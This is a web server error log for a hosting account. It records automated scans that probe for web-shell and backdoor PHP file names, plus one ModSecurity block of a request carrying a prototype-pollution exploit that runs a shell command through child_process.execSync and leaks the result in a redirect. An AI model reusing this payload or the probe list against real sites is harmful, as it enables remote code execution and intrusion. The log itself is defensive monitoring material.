File does not exist: /home/coldtecp/public_html/network.php, referer: https://www.google.com/ [Thu Dec 11 12:50:58.460243 2025] [:error] [pid 16069:tid 16113] [client 4.189.122.191:55728] File does not exist: /home/coldtecp/public_html/options-reading.php, referer: https://www.google.fr/ [Thu Dec 11 12:50:59.110218 2025] [:error] [pid 16069:tid 16117] [client 4.189.122.191:55732] File does not exist: /home/coldtecp/public_html/simple.php, referer: https://www.google.fr/ [Thu Dec 11 12:51:02.404189 2025] [:error] [pid 16483:tid 16509] [client 4.189.122.191:55752] File does not exist: /home/coldtecp/public_html/wp-blog.php, referer: https://www.google.co.uk/ [Thu Dec 11 12:51:05.645212 2025] [:error] [pid 16483:tid 16496] [client 4.189.122.191:55780] File does not exist: /home/coldtecp/public_html/wp-editor.php, referer: https://duckduckgo.com/ [Thu Dec 11 12:51:05.831773 2025] [:error] [pid 16483:tid 16500] [client 4.189.122.191:55782] File does not exist: /home/coldtecp/public_html/wp-good.php, referer: https://www.google.com/ [Thu Dec 11 12:51:16.289305 2025] [:error] [pid 16483:tid 16506] [client 4.189.122.191:55876] File does not exist: /home/coldtecp/public_html/wp-themes.php, referer: https://www.bing.com/ [Thu Dec 11 12:51:16.466513 2025] [:error] [pid 16067:tid 16085] [client 4.189.122.191:55878] File does not exist: /home/coldtecp/public_html/wp-user.php, referer: https://www.google.co.uk/ [Thu Dec 11 12:51:16.727352 2025] [:error] [pid 16068:tid 16129] [client 4.189.122.191:55880] File does not exist: /home/coldtecp/public_html/wp.php, referer: https://www.google.com/ [Thu Dec 11 12:51:17.096755 2025] [:error] [pid 16068:tid 16140] [client 4.189.122.191:55882] File does not exist: /home/coldtecp/public_html/x.php, referer: https://duckduckgo.com/ [Thu Dec 11 12:51:17.646263 2025] [:error] [pid 16068:tid 16138] [client 4.189.122.191:55884] File does not exist: /home/coldtecp/public_html/yas.php, referer: https://www.google.co.uk/ [Thu Dec 11 12:51:18.245755 2025] [:error] [pid 16068:tid 16121] [client 4.189.122.191:55890] File does not exist: /home/coldtecp/public_html/abcd.php, referer: https://www.google.co.uk/ [Thu Dec 11 12:51:18.471938 2025] [:error] [pid 16069:tid 16130] [client 4.189.122.191:55892] File does not exist: /home/coldtecp/public_html/akcc.php, referer: https://www.google.fr/ [Thu Dec 11 12:51:18.651810 2025] [:error] [pid 16483:tid 16496] [client 4.189.122.191:55894] File does not exist: /home/coldtecp/public_html/xmrlpc.php, referer: https://www.bing.com/ [Thu Dec 11 12:51:18.847081 2025] [:error] [pid 16069:tid 16103] [client 4.189.122.191:55896] File does not exist: /home/coldtecp/public_html/xmlrpc.php, referer: https://www.bing.com/ [Thu Dec 11 12:51:19.024192 2025] [:error] [pid 16483:tid 16500] [client 4.189.122.191:55898] File does not exist: /home/coldtecp/public_html/api.php, referer: https://www.google.fr/ [Thu Dec 11 12:51:20.054405 2025] [:error] [pid 16483:tid 16491] [client 4.189.122.191:55904] File does not exist: /home/coldtecp/public_html/classwithtostring.php, referer: https://duckduckgo.com/ [Thu Dec 11 12:51:20.231488 2025] [:error] [pid 16483:tid 16492] [client 4.189.122.191:55906] File does not exist: /home/coldtecp/public_html/cong.php, referer: https://duckduckgo.com/ [Thu Dec 11 12:51:20.413995 2025] [:error] [pid 16483:tid 16486] [client 4.189.122.191:55908] File does not exist: /home/coldtecp/public_html/edit.php, referer: https://www.yahoo.com/ [Thu Dec 11 12:51:20.590817 2025] [:error] [pid 16483:tid 16504] [client 4.189.122.191:55910] File does not exist: /home/coldtecp/public_html/new.php, referer: https://www.google.co.uk/ [Thu Dec 11 12:51:20.773834 2025] [:error] [pid 16483:tid 16494] [client 4.189.122.191:55912] File does not exist: /home/coldtecp/public_html/NewFile.php, referer: https://www.google.fr/ [Thu Dec 11 12:51:20.954263 2025] [:error] [pid 16067:tid 16077] [client 4.189.122.191:55916] File does not exist: /home/coldtecp/public_html/file.php, referer: https://www.google.co.uk/ [Thu Dec 11 12:51:21.349056 2025] [:error] [pid 16483:tid 16508] [client 4.189.122.191:55920] File does not exist: /home/coldtecp/public_html/gel4y.php, referer: https://www.google.fr/ [Thu Dec 11 12:51:21.526222 2025] [:error] [pid 16069:tid 16149] [client 4.189.122.191:55922] File does not exist: /home/coldtecp/public_html/info.php, referer: https://www.bing.com/ [Thu Dec 11 12:51:21.759815 2025] [:error] [pid 16069:tid 16102] [client 4.189.122.191:55924] File does not exist: /home/coldtecp/public_html/item.php, referer: https://www.google.co.uk/ [Thu Dec 11 12:51:22.524119 2025] [:error] [pid 16067:tid 16095] [client 4.189.122.191:55926] File does not exist: /home/coldtecp/public_html/ioxi-o.php, referer: https://www.google.fr/ [Thu Dec 11 12:51:22.700917 2025] [:error] [pid 16069:tid 16139] [client 4.189.122.191:55928] File does not exist: /home/coldtecp/public_html/radio.php, referer: https://duckduckgo.com/ [Thu Dec 11 12:51:22.890500 2025] [:error] [pid 16069:tid 16144] [client 4.189.122.191:55930] File does not exist: /home/coldtecp/public_html/themes.php, referer: https://www.google.co.uk/ [Thu Dec 11 12:51:23.067140 2025] [:error] [pid 16067:tid 16090] [client 4.189.122.191:55932] File does not exist: /home/coldtecp/public_html/bolt.php, referer: https://www.google.de/ [Thu Dec 11 12:51:23.325907 2025] [:error] [pid 16483:tid 16507] [client 4.189.122.191:55934] File does not exist: /home/coldtecp/public_html/wp-conflg.php, referer: https://www.google.com/ [Thu Dec 11 12:51:23.544256 2025] [:error] [pid 16068:tid 16116] [client 4.189.122.191:55936] File does not exist: /home/coldtecp/public_html/mah.php, referer: https://duckduckgo.com/ [Thu Dec 11 12:51:38.534983 2025] [:error] [pid 16067:tid 16083] [client 4.189.122.191:56088] File does not exist: /home/coldtecp/public_html/moon.php, referer: https://www.google.com/ 2025/12/11 12:51:44 [error] 15886#15886: *869286 directory index of "/usr/local/apache/autossl_tmp/.well-known/acme-challenge/" is forbidden, client: 4.189.122.191, server: coldtecperu.com, request: "GET /.well-known/acme-challenge/ HTTP/1.1", host: "coldtecperu.com", referrer: "https://www.google.co.uk/" [Thu Dec 11 13:36:01.349175 2025] [:error] [pid 16483:tid 16506] [client 4.193.193.27:36918] File does not exist: /home/coldtecp/public_html/404.php, referer: https://www.bing.com/ [Thu Dec 11 13:36:01.594911 2025] [:error] [pid 16483:tid 16492] [client 4.193.193.27:36920] File does not exist: /home/coldtecp/public_html/aa.php, referer: https://www.bing.com/ [Thu Dec 11 13:36:01.840447 2025] [:error] [pid 16067:tid 16079] [client 4.193.193.27:36922] File does not exist: /home/coldtecp/public_html/abcd.php, referer: https://www.bing.com/ [Thu Dec 11 13:36:02.087039 2025] [:error] [pid 16483:tid 16505] [client 4.193.193.27:36924] File does not exist: /home/coldtecp/public_html/admin.php, referer: https://www.google.co.uk/ [Thu Dec 11 13:36:02.332521 2025] [:error] [pid 16483:tid 16487] [client 4.193.193.27:36926] File does not exist: /home/coldtecp/public_html/about.php, referer: https://www.google.com/ [Thu Dec 11 13:36:02.578509 2025] [:error] [pid 16483:tid 16490] [client 4.193.193.27:36928] File does not exist: /home/coldtecp/public_html/adminfuns.php, referer: https://www.yahoo.com/ [Thu Dec 11 13:36:02.826395 2025] [:error] [pid 16483:tid 16494] [client 4.193.193.27:36932] File does not exist: /home/coldtecp/public_html/ahax.php, referer: https://www.google.com/ [Thu Dec 11 13:36:03.071859 2025] [:error] [pid 16483:tid 16496] [client 4.193.193.27:36936] File does not exist: /home/coldtecp/public_html/akcc.php, referer: https://www.google.co.uk/ [Thu Dec 11 13:36:03.317054 2025] [:error] [pid 16483:tid 16500] [client 4.193.193.27:36938] File does not exist: /home/coldtecp/public_html/alfa.php, referer: https://www.yahoo.com/ [Thu Dec 11 13:36:04.054244 2025] [:error] [pid 16483:tid 16508] [client 4.193.193.27:36948] File does not exist: /home/coldtecp/public_html/av.php, referer: https://www.yahoo.com/ [Thu Dec 11 13:36:04.299927 2025] [:error] [pid 16069:tid 16150] [client 4.193.193.27:36950] File does not exist: /home/coldtecp/public_html/bless.php, referer: https://www.google.fr/ [Thu Dec 11 13:36:04.545069 2025] [:error] [pid 16483:tid 16493] [client 4.193.193.27:36952] File does not exist: /home/coldtecp/public_html/bolt.php, referer: https://www.yahoo.com/ [Thu Dec 11 13:36:04.794943 2025] [:error] [pid 16068:tid 16114] [client 4.193.193.27:36954] File does not exist: /home/coldtecp/public_html/buy.php, referer: https://www.bing.com/ [Thu Dec 11 13:36:05.040446 2025] [:error] [pid 16068:tid 16109] [client 4.193.193.27:36956] File does not exist: /home/coldtecp/public_html/atomlib.php, referer: https://www.bing.com/ [Thu Dec 11 13:36:05.776765 2025] [:error] [pid 16069:tid 16136] [client 4.193.193.27:36962] File does not exist: /home/coldtecp/public_html/chosen.php, referer: https://www.google.co.uk/ [Thu Dec 11 13:36:06.022243 2025] [:error] [pid 16483:tid 16509] [client 4.193.193.27:36968] File does not exist: /home/coldtecp/public_html/classwithtostring.php, referer: https://www.google.co.uk/ [Thu Dec 11 13:36:06.267804 2025] [:error] [pid 16483:tid 16489] [client 4.193.193.27:36970] File does not exist: /home/coldtecp/public_html/edit.php, referer: https://duckduckgo.com/ [Thu Dec 11 13:36:06.512916 2025] [:error] [pid 16483:tid 16497] [client 4.193.193.27:36972] File does not exist: /home/coldtecp/public_html/elp.php, referer: https://www.google.de/ [Thu Dec 11 13:36:06.758548 2025] [:error] [pid 16483:tid 16510] [client 4.193.193.27:36974] File does not exist: /home/coldtecp/public_html/simple.php, referer: https://duckduckgo.com/ [Thu Dec 11 13:36:07.004086 2025] [:error] [pid 16483:tid 16507] [client 4.193.193.27:36976] File does not exist: /home/coldtecp/public_html/file.php, referer: https://www.bing.com/ [Thu Dec 11 13:36:07.249747 2025] [:error] [pid 16483:tid 16486] [client 4.193.193.27:36978] File does not exist: /home/coldtecp/public_html/item.php, referer: https://duckduckgo.com/ [Thu Dec 11 13:36:07.740523 2025] [:error] [pid 16483:tid 16499] [client 4.193.193.27:36982] File does not exist: /home/coldtecp/public_html/gg.php, referer: https://duckduckgo.com/ [Thu Dec 11 13:36:07.986433 2025] [:error] [pid 16068:tid 16122] [client 4.193.193.27:36988] File does not exist: /home/coldtecp/public_html/goods.php, referer: https://www.yahoo.com/ [Thu Dec 11 13:36:08.722292 2025] [:error] [pid 16067:tid 16080] [client 4.193.193.27:36994] File does not exist: /home/coldtecp/public_html/info.php, referer: https://www.google.co.uk/ [Thu Dec 11 13:36:08.969921 2025] [:error] [pid 16067:tid 16095] [client 4.193.193.27:37000] File does not exist: /home/coldtecp/public_html/ioxi-o.php, referer: https://www.google.com/ [Thu Dec 11 13:36:09.215596 2025] [:error] [pid 16067:tid 16099] [client 4.193.193.27:37002] File does not exist: /home/coldtecp/public_html/k.php, referer: https://www.google.fr/ [Thu Dec 11 13:36:09.460862 2025] [:error] [pid 16067:tid 16087] [client 4.193.193.27:37004] File does not exist: /home/coldtecp/public_html/mah.php, referer: https://www.yahoo.com/ [Thu Dec 11 13:36:09.951571 2025] [:error] [pid 16067:tid 16091] [client 4.193.193.27:37008] File does not exist: /home/coldtecp/public_html/manager.php, referer: https://www.yahoo.com/ [Thu Dec 11 13:36:10.442499 2025] [:error] [pid 16068:tid 16118] [client 4.193.193.27:37012] File does not exist: /home/coldtecp/public_html/new.php, referer: https://www.google.de/ [Thu Dec 11 13:36:10.687775 2025] [:error] [pid 16068:tid 16132] [client 4.193.193.27:37014] File does not exist: /home/coldtecp/public_html/dropdown.php, referer: https://www.google.de/ [Thu Dec 11 13:36:10.933028 2025] [:error] [pid 16068:tid 16143] [client 4.193.193.27:37016] File does not exist: /home/coldtecp/public_html/cong.php, referer: https://www.bing.com/ [Thu Dec 11 13:36:11.669095 2025] [:error] [pid 16483:tid 16491] [client 4.193.193.27:37022] File does not exist: /home/coldtecp/public_html/radio.php, referer: https://www.google.de/ [Thu Dec 11 13:36:11.914357 2025] [:error] [pid 16483:tid 16503] [client 4.193.193.27:37028] File does not exist: /home/coldtecp/public_html/themes.php, referer: https://www.google.com/ [Thu Dec 11 13:36:15.862085 2025] [:error] [pid 16483:tid 16500] [client 4.193.193.27:37068] File does not exist: /home/coldtecp/public_html/wp-blog.php, referer: https://www.google.com/ [Thu Dec 11 14:39:36.304087 2025] [:error] [pid 16067:tid 16077] [client 99.79.78.210:46866] [client 99.79.78.210] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:\\\\b(?:(?:s(?:t(?:d(?:dev(_pop|_samp)?)?|r(?:_to_date|cmp))|u(?:b(?:str(?:ing(_index)?)?|(?:dat|tim)e)|m)|e(?:c(?:_to_time|ond)|ssion_user)|ys(?:tem_user|date)|ha(1|2)?|oundex|chema|ig?n|pace|qrt)|i(?:s(null|_(free_lock|ipv4_compat|ipv4_mapped|ipv4| ..." at ARGS:0. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "125"] [id "950001"] [rev "2"] [msg "SQL Injection Attack"] [data "Matched Data: trim( found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x5c\\x22then\\x5c\\x22:\\x5c\\x22$B1337\\x5c\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22var res=process.mainModule.require('child_process').execSync('echo VULN_TEST_123456 | base64 -w 0').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\\x22, \\x22_chunks\\x22: \\x22$Q2\\x22, ..."] [sever [hostname "coldtecperu.com"] [uri "/"] [unique_id "aTsd-JKJdsaTvJeAyMLcrgAAAAE"] [Thu Dec 11 19:41:24.592414 2025] [:error] [pid 16483:tid 16504] [client 4.193.219.228:38848] File does not exist: /home/coldtecp/public_html/num.php, referer: https://www.yahoo.com/ [Thu Dec 11 19:41:24.839894 2025] [:error] [pid 16483:tid 16509] [client 4.193.219.228:38850] File does not exist: /home/coldtecp/public_html/www.php, referer: https://www.google.co.uk/ [Thu Dec 11 19:41:25.099096 2025] [:error] [pid 16483:tid 16491] [client 4.193.219.228:38852] File does not exist: /home/coldtecp/public_html/includes.php, referer: https://www.google.co.uk/ [Thu Dec 11 19:41:25.346213 2025] [:error] [pid 16483:tid 16493] [client 4.193.219.228:38854] File does not exist: /home/coldtecp/public_html/browse.php, referer: https://www.google.fr/ [Thu Dec 11 19:41:31.307151 2025] [:error] [pid 16068:tid 16119] [client 4.193.219.228:38916] File does not exist: /home/coldtecp/public_html/wp-good.php, referer: https://www.google.fr/ [Thu Dec 11 19:41:39.723859 2025] [:error] [pid 16483:tid 16502] [client 4.193.219.228:39000] File does not exist: /home/coldtecp/public_html/wp-login.php, referer: https://duckduckgo.com/ [Thu Dec 11 19:41:39.971203 2025] [:error] [pid 16483:tid 16492] [client 4.193.219.228:39002] File does not exist: /home/coldtecp/public_html/wp-signin.php, referer: https://duckduckgo.com/ [Thu Dec 11 19:41:40.218435 2025] [:error] [pid 16483:tid 16504] [client 4.193.219.228:39004] File does not exist: /home/coldtecp/public_html/wp-user.php, referer: https://www.google.de/ [Thu Dec 11 19:41:40.467399 2025] [:error] [pid 16483:tid 16509] [client 4.193.219.228:39006] File does not exist: /home/coldtecp/public_html/wp.php, referer: https://www.google.de/ [Thu Dec 11 19:41:40.714813 2025] [:error] [pid 16483:tid 16491] [client 4.193.219.228:39008] File does not exist: /home/coldtecp/public_html/xmlrpc.php, referer: https://www.yahoo.com/ [Thu Dec 11 19:41:40.963650 2025] [:error] [pid 16483:tid 16507] [client 4.193.219.228:39014] File does not exist: /home/coldtecp/public_html/xmrlpc.php, referer: https://duckduckgo.com/ [Thu Dec 11 20:26:18.990496 2025] [:error] [pid 16069:tid 16108] [client 23.98.90.121:44968] File does not exist: /home/coldtecp/public_html/num.php, referer: https://www.google.fr/ [Thu Dec 11 20:26:19.236179 2025] [:error] [pid 16067:tid 16098] [client 23.98.90.121:44972] File does not exist: /home/coldtecp/public_html/ioxi-o.php, referer: https://www.google.fr/ [Thu Dec 11 20:26:19.482320 2025] [:error] [pid 16067:tid 16084] [client 23.98.90.121:44974] File does not exist: /home/coldtecp/public_html/www.php, referer: https://www.google.fr/ [Thu Dec 11 20:26:19.727923 2025] [:error] [pid 16483:tid 16487] [client 23.98.90.121:44976] File does not exist: /home/coldtecp/public_html/akcc.php, referer: https://www.google.fr/ [Thu Dec 11 20:26:19.973557 2025] [:error] [pid 16068:tid 16129] [client 23.98.90.121:44978] File does not exist: /home/coldtecp/public_html/adminfuns.php, referer: https://www.google.de/ [Thu Dec 11 20:26:20.219151 2025] [:error] [pid 16067:tid 16097] [client 23.98.90.121:44980] File does not exist: /home/coldtecp/public_html/wp-good.php, referer: https://www.yahoo.com/ [Thu Dec 11 22:13:40.830361 2025] [:error] [pid 16069:tid 16139] [client 4.197.176.116:55394] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/file.php, referer: https://www.yahoo.com/ [Thu Dec 11 22:13:41.719337 2025] [:error] [pid 16068:tid 16143] [client 4.197.176.116:55396] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/wp-login.php, referer: https://www.bing.com/ [Thu Dec 11 22:13:42.794128 2025] [:error] [pid 16068:tid 16112] [client 4.197.176.116:55398] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/index.php, referer: https://duckduckgo.com/ [Thu Dec 11 22:13:43.672561 2025] [:error] [pid 16067:tid 16090] [client 4.197.176.116:55404] File does not exist: /home/coldtecp/public_html/1.php, referer: https://www.bing.com/ [Thu Dec 11 22:13:43.897464 2025] [:error] [pid 16067:tid 16091] [client 4.197.176.116:55406] File does not exist: /home/coldtecp/public_html/Sanskrit.php, referer: https://www.bing.com/ [Thu Dec 11 22:13:44.379562 2025] [:error] [pid 16483:tid 16495] [client 4.197.176.116:55408] File does not exist: /home/coldtecp/public_html/aa.php, referer: https://www.google.fr/ [Thu Dec 11 22:13:44.611953 2025] [:error] [pid 16069:tid 16133] [client 4.197.176.116:55410] File does not exist: /home/coldtecp/public_html/about.php, referer: https://www.google.fr/ [Thu Dec 11 22:13:45.131612 2025] [:error] [pid 16483:tid 16510] [client 4.197.176.116:55412] File does not exist: /home/coldtecp/public_html/admin.php, referer: https://duckduckgo.com/ [Thu Dec 11 22:13:45.697058 2025] [:error] [pid 16483:tid 16486] [client 4.197.176.116:55414] File does not exist: /home/coldtecp/public_html/ahax.php, referer: https://www.yahoo.com/ [Thu Dec 11 22:13:46.461714 2025] [:error] [pid 16483:tid 16506] [client 4.197.176.116:55420] File does not exist: /home/coldtecp/public_html/av.php, referer: https://www.yahoo.com/ [Thu Dec 11 22:13:46.708117 2025] [:error] [pid 16483:tid 16499] [client 4.197.176.116:55422] File does not exist: /home/coldtecp/public_html/bless.php, referer: https://www.bing.com/ [Thu Dec 11 22:13:46.997287 2025] [:error] [pid 16483:tid 16489] [client 4.197.176.116:55424] File does not exist: /home/coldtecp/public_html/buy.php, referer: https://www.google.de/ [Thu Dec 11 22:13:47.207328 2025] [:error] [pid 16483:tid 16503] [client 4.197.176.116:55426] File does not exist: /home/coldtecp/public_html/cc.php, referer: https://www.google.de/ [Thu Dec 11 22:13:47.482142 2025] [:error] [pid 16483:tid 16508] [client 4.197.176.116:55428] File does not exist: /home/coldtecp/public_html/chosen.php, referer: https://www.google.co.uk/ [Thu Dec 11 22:13:48.208529 2025] [:error] [pid 16483:tid 16498] [client 4.197.176.116:55434] File does not exist: /home/coldtecp/public_html/elp.php, referer: https://www.yahoo.com/ [Thu Dec 11 22:13:48.418624 2025] [:error] [pid 16483:tid 16496] [client 4.197.176.116:55436] File does not exist: /home/coldtecp/public_html/file5.php, referer: https://duckduckgo.com/ [Thu Dec 11 22:13:48.889431 2025] [:error] [pid 16483:tid 16491] [client 4.197.176.116:55440] File does not exist: /home/coldtecp/public_html/goods.php, referer: https://www.google.com/ [Thu Dec 11 22:13:49.596285 2025] [:error] [pid 16068:tid 16132] [client 4.197.176.116:55448] File does not exist: /home/coldtecp/public_html/inputs.php, referer: https://duckduckgo.com/ [Thu Dec 11 22:13:49.997633 2025] [:error] [pid 16068:tid 16122] [client 4.197.176.116:55450] File does not exist: /home/coldtecp/public_html/install.php, referer: https://www.google.co.uk/ [Thu Dec 11 22:13:50.722723 2025] [:error] [pid 16069:tid 16147] [client 4.197.176.116:55454] File does not exist: /home/coldtecp/public_html/manager.php, referer: https://www.google.fr/ [Thu Dec 11 22:13:51.007105 2025] [:error] [pid 16069:tid 16144] [client 4.197.176.116:55456] File does not exist: /home/coldtecp/public_html/mini.php, referer: https://www.google.com/ [Thu Dec 11 22:13:51.217116 2025] [:error] [pid 16069:tid 16117] [client 4.197.176.116:55458] File does not exist: /home/coldtecp/public_html/network.php, referer: https://www.yahoo.com/ [Thu Dec 11 22:13:51.427140 2025] [:error] [pid 16069:tid 16141] [client 4.197.176.116:55460] File does not exist: /home/coldtecp/public_html/options-reading.php, referer: https://www.google.fr/ [Thu Dec 11 22:13:51.654979 2025] [:error] [pid 16068:tid 16109] [client 4.197.176.116:55462] File does not exist: /home/coldtecp/public_html/simple.php, referer: https://www.google.co.uk/ [Thu Dec 11 22:13:54.051628 2025] [:error] [pid 16483:tid 16509] [client 4.197.176.116:55476] File does not exist: /home/coldtecp/public_html/wp-blog.php, referer: https://www.google.de/ [Thu Dec 11 22:13:57.131434 2025] [:error] [pid 16069:tid 16152] [client 4.197.176.116:55504] File does not exist: /home/coldtecp/public_html/wp-editor.php, referer: https://www.google.com/ [Thu Dec 11 22:13:57.379213 2025] [:error] [pid 16483:tid 16504] [client 4.197.176.116:55506] File does not exist: /home/coldtecp/public_html/wp-good.php, referer: https://www.yahoo.com/ [Thu Dec 11 22:14:10.911245 2025] [:error] [pid 16483:tid 16494] [client 4.197.176.116:55580] File does not exist: /home/coldtecp/public_html/wp-themes.php, referer: https://duckduckgo.com/ [Thu Dec 11 22:14:11.178020 2025] [:error] [pid 16483:tid 16499] [client 4.197.176.116:55582] File does not exist: /home/coldtecp/public_html/wp-user.php, referer: https://www.bing.com/ [Thu Dec 11 22:14:11.388066 2025] [:error] [pid 16483:tid 16489] [client 4.197.176.116:55584] File does not exist: /home/coldtecp/public_html/wp.php, referer: https://www.google.de/ [Thu Dec 11 22:14:11.971418 2025] [:error] [pid 16483:tid 16504] [client 4.197.176.116:55586] File does not exist: /home/coldtecp/public_html/x.php, referer: https://www.bing.com/ [Thu Dec 11 22:14:12.279206 2025] [:error] [pid 16483:tid 16503] [client 4.197.176.116:55588] File does not exist: /home/coldtecp/public_html/yas.php, referer: https://www.google.co.uk/ [Thu Dec 11 22:14:12.489741 2025] [:error] [pid 16483:tid 16490] [client 4.197.176.116:55590] File does not exist: /home/coldtecp/public_html/abcd.php, referer: https://www.google.com/ [Thu Dec 11 22:14:12.700021 2025] [:error] [pid 16483:tid 16497] [client 4.197.176.116:55592] File does not exist: /home/coldtecp/public_html/akcc.php, referer: https://www.google.de/ [Thu Dec 11 22:14:12.924024 2025] [:error] [pid 16483:tid 16507] [client 4.197.176.116:55594] File does not exist: /home/coldtecp/public_html/xmrlpc.php, referer: https://www.google.fr/ [Thu Dec 11 22:14:13.204716 2025] [:error] [pid 16483:tid 16496] [client 4.197.176.116:55596] File does not exist: /home/coldtecp/public_html/xmlrpc.php, referer: https://www.google.de/ [Thu Dec 11 22:14:13.437121 2025] [:error] [pid 16483:tid 16488] [client 4.197.176.116:55598] File does not exist: /home/coldtecp/public_html/api.php, referer: https://www.yahoo.com/ [Thu Dec 11 22:14:15.169122 2025] [:error] [pid 16068:tid 16132] [client 4.197.176.116:55608] File does not exist: /home/coldtecp/public_html/classwithtostring.php, referer: https://www.yahoo.com/ [Thu Dec 11 22:14:15.396618 2025] [:error] [pid 16068:tid 16122] [client 4.197.176.116:55610] File does not exist: /home/coldtecp/public_html/cong.php, referer: https://www.bing.com/ [Thu Dec 11 22:14:15.606517 2025] [:error] [pid 16068:tid 16109] [client 4.197.176.116:55612] File does not exist: /home/coldtecp/public_html/edit.php, referer: https://www.yahoo.com/ [Thu Dec 11 22:14:15.819146 2025] [:error] [pid 16068:tid 16125] [client 4.197.176.116:55614] File does not exist: /home/coldtecp/public_html/new.php, referer: https://www.google.co.uk/ [Thu Dec 11 22:14:16.037116 2025] [:error] [pid 16068:tid 16142] [client 4.197.176.116:55616] File does not exist: /home/coldtecp/public_html/NewFile.php, referer: https://www.google.com/ [Thu Dec 11 22:14:16.247242 2025] [:error] [pid 16068:tid 16128] [client 4.197.176.116:55618] File does not exist: /home/coldtecp/public_html/file.php, referer: https://www.bing.com/ [Thu Dec 11 22:14:16.475799 2025] [:error] [pid 16068:tid 16121] [client 4.197.176.116:55620] File does not exist: /home/coldtecp/public_html/gel4y.php, referer: https://www.google.fr/ [Thu Dec 11 22:14:16.685576 2025] [:error] [pid 16068:tid 16140] [client 4.197.176.116:55622] File does not exist: /home/coldtecp/public_html/info.php, referer: https://www.google.de/ [Thu Dec 11 22:14:17.326607 2025] [:error] [pid 16068:tid 16131] [client 4.197.176.116:55624] File does not exist: /home/coldtecp/public_html/item.php, referer: https://www.google.com/ [Thu Dec 11 22:14:17.556122 2025] [:error] [pid 16068:tid 16143] [client 4.197.176.116:55626] File does not exist: /home/coldtecp/public_html/ioxi-o.php, referer: https://www.google.de/ [Thu Dec 11 22:14:17.766587 2025] [:error] [pid 16068:tid 16112] [client 4.197.176.116:55628] File does not exist: /home/coldtecp/public_html/radio.php, referer: https://www.google.com/ [Thu Dec 11 22:14:18.121380 2025] [:error] [pid 16067:tid 16093] [client 4.197.176.116:55630] File does not exist: /home/coldtecp/public_html/themes.php, referer: https://duckduckgo.com/ [Thu Dec 11 22:14:18.522245 2025] [:error] [pid 16068:tid 16137] [client 4.197.176.116:55636] File does not exist: /home/coldtecp/public_html/bolt.php, referer: https://www.google.de/ [Thu Dec 11 22:14:18.732358 2025] [:error] [pid 16069:tid 16102] [client 4.197.176.116:55638] File does not exist: /home/coldtecp/public_html/wp-conflg.php, referer: https://www.bing.com/ [Thu Dec 11 22:14:18.945361 2025] [:error] [pid 16067:tid 16096] [client 4.197.176.116:55640] File does not exist: /home/coldtecp/public_html/mah.php, referer: https://duckduckgo.com/ [Thu Dec 11 22:14:52.011390 2025] [:error] [pid 16483:tid 16487] [client 4.197.176.116:55826] File does not exist: /home/coldtecp/public_html/moon.php, referer: https://duckduckgo.com/ 2025/12/11 22:15:00 [error] 15887#15887: *902517 directory index of "/usr/local/apache/autossl_tmp/.well-known/acme-challenge/" is forbidden, client: 4.197.176.116, server: coldtecperu.com, request: "GET /.well-known/acme-challenge/ HTTP/1.1", host: "coldtecperu.com", referrer: "https://www.google.fr/" [Thu Dec 11 23:55:29.326652 2025] [:error] [pid 16069:tid 16106] [client 20.58.146.18:37572] File does not exist: /home/coldtecp/public_html/404.php, referer: https://www.google.de/ [Thu Dec 11 23:55:29.537542 2025] [:error] [pid 16483:tid 16493] [client 20.58.146.18:37574] File does not exist: /home/coldtecp/public_html/aa.php, referer: https://www.google.de/ [Thu Dec 11 23:55:29.748036 2025] [:error] [pid 16068:tid 16132] [client 20.58.146.18:37576] File does not exist: /home/coldtecp/public_html/abcd.php, referer: https://www.yahoo.com/ [Thu Dec 11 23:55:29.958920 2025] [:error] [pid 16068:tid 16131] [client 20.58.146.18:37578] File does not exist: /home/coldtecp/public_html/admin.php, referer: https://www.google.com/ [Thu Dec 11 23:55:30.169727 2025] [:error] [pid 16483:tid 16500] [client 20.58.146.18:37580] File does not exist: /home/coldtecp/public_html/about.php, referer: https://www.google.co.uk/ [Thu Dec 11 23:55:30.380616 2025] [:error] [pid 16483:tid 16494] [client 20.58.146.18:37582] File does not exist: /home/coldtecp/public_html/adminfuns.php, referer: https://www.google.com/ [Thu Dec 11 23:55:30.591865 2025] [:error] [pid 16483:tid 16504] [client 20.58.146.18:37584] File does not exist: /home/coldtecp/public_html/ahax.php, referer: https://www.google.co.uk/ [Thu Dec 11 23:55:30.802735 2025] [:error] [pid 16483:tid 16507] [client 20.58.146.18:37586] File does not exist: /home/coldtecp/public_html/akcc.php, referer: https://www.bing.com/ [Thu Dec 11 23:55:31.022716 2025] [:error] [pid 16483:tid 16498] [client 20.58.146.18:37592] File does not exist: /home/coldtecp/public_html/alfa.php, referer: https://www.yahoo.com/ [Thu Dec 11 23:55:31.655288 2025] [:error] [pid 16069:tid 16139] [client 20.58.146.18:37598] File does not exist: /home/coldtecp/public_html/av.php, referer: https://duckduckgo.com/ [Thu Dec 11 23:55:31.866075 2025] [:error] [pid 16483:tid 16488] [client 20.58.146.18:37600] File does not exist: /home/coldtecp/public_html/bless.php, referer: https://www.google.com/ [Thu Dec 11 23:55:32.077076 2025] [:error] [pid 16483:tid 16501] [client 20.58.146.18:37602] File does not exist: /home/coldtecp/public_html/bolt.php, referer: https://www.yahoo.com/ [Thu Dec 11 23:55:32.287955 2025] [:error] [pid 16483:tid 16509] [client 20.58.146.18:37604] File does not exist: /home/coldtecp/public_html/buy.php, referer: https://www.yahoo.com/ [Thu Dec 11 23:55:32.498338 2025] [:error] [pid 16483:tid 16492] [client 20.58.146.18:37606] File does not exist: /home/coldtecp/public_html/atomlib.php, referer: https://www.bing.com/ [Thu Dec 11 23:55:33.130187 2025] [:error] [pid 16483:tid 16505] [client 20.58.146.18:37612] File does not exist: /home/coldtecp/public_html/chosen.php, referer: https://www.bing.com/ [Thu Dec 11 23:55:33.341054 2025] [:error] [pid 16067:tid 16097] [client 20.58.146.18:37614] File does not exist: /home/coldtecp/public_html/classwithtostring.php, referer: https://www.google.fr/ [Thu Dec 11 23:55:33.552066 2025] [:error] [pid 16068:tid 16129] 